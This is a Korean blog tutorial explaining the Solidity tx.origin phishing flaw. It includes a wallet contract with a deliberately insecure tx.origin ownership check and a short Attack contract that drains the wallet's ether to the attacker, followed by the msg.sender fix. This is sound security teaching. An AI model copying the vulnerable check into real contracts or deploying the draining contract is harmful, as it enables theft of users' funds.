[Solidity] tx.origin Phishing

임형석·2023년 10월 16일
0

Solidity


tx.origin

tx.origin 은 트랜잭션을 보낸 사람의 주소 값을 돌려주는 솔리디티의 전역 함수이다.

그림으로 설명하면,


A 유저가 B 컨트랙트를 거쳐 C 컨트랙트의 함수를 호출했을때,

C 컨트랙트의 msg.sender 는 B 이다.


A 유저가 B 컨트랙트를 거쳐 C 컨트랙트의 함수를 호출했을때,

C 컨트랙트의 tx.origin 은 A 이다.


아래의 예시 코드를 보면..

contract MyWallet {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function deposit() public payable {
        payable(this).transfer(msg.value);
    }

    function withdraw(address _to) public payable {
        require(owner == tx.origin,"Owner only.");
        payable(_to).transfer(address(this).balance);
    }
}

MyWallet 컨트랙트를 배포할 때 owner 를 설정해두었고,

withdraw 함수로 원하는 주소로 이더를 보낼 수 있도록 설정해두었다.

require(owner == tx.origin,"Owner only."); 이 부분도 단순히 보았을 땐 문제가 없다.

다른 주소가 출금을 시도한다면, owner 주소와 일치하지 않기에 당연히 revert 될 것이고, 보안에는 문제가 없어보인다.

하지만, 겉보기와는 다르게 유저의 행동에 따라 해킹당할 여지가 있다.


Phishing

다음은 피싱공격을 시도하는 Attack 컨트랙트의 예시이다.

contract Attack {
    MyWallet mywallet;
    address owner;

    constructor(MyWallet _MyWallet) {
        mywallet = MyWallet(_MyWallet);
        owner = msg.sender;
    }

    receive() external payable {}

    function attack() public {
        mywallet.withdraw(owner);
    }
}

해커는 MyWallet 컨트랙트가 tx.origin 이라는 require 조건문을 사용한다는 것을 알았고, 위의 Attack 컨트랙트를 배포한다.

또한, MyWallet 을 사용하는 웹사이트를 클론해 자신의 Attack 컨트랙트를 사용하도록 사용자들을 속인다.

속은 사용자들은 Attack 컨트랙트를 사용할 것이고, 아래와 같은 그림대로 흘러갈 것이다.

  1. 사용자가 attack 을 호출.
  2. attack 은 MyWallet 의 withdraw 를 호출.
  3. withdraw 의 require 조건문 통과. 모든 이더가 해커의 주소로 전송됨.

방어 방법

방어 방법은 간단하지만, tx.origin 을 조건문으로 사용하지 않는 것이다. require(msg.sender == owner) 와 같이 사용하면 된다.

tx.origin 은 특별한 경우에 사용한다. 예를 들어, 컨트랙트가 함수를 호출하지 못하도록 할때 tx.origin == msg.sender 와 같은 방법으로 사용하면 EOA 만이 함수를 호출할 수 있게 해준다.


tx.origin 으로 조건문을 설정한다면 내가 만든 서비스의 동작에는 문제가 없을 수 있지만, 해커의 입장에서는 좋은 먹잇감이 될 것이고, 사용자 또한 언제 피싱을 당할지 모르기에 항상 조심해야 하는 입장이 될 것이다.

따라서, 해킹당할 여지 자체를 남기지 않기 위해 항상 적절하게 컨트랙트를 작성하는 것이 좋겠다.


0개의 댓글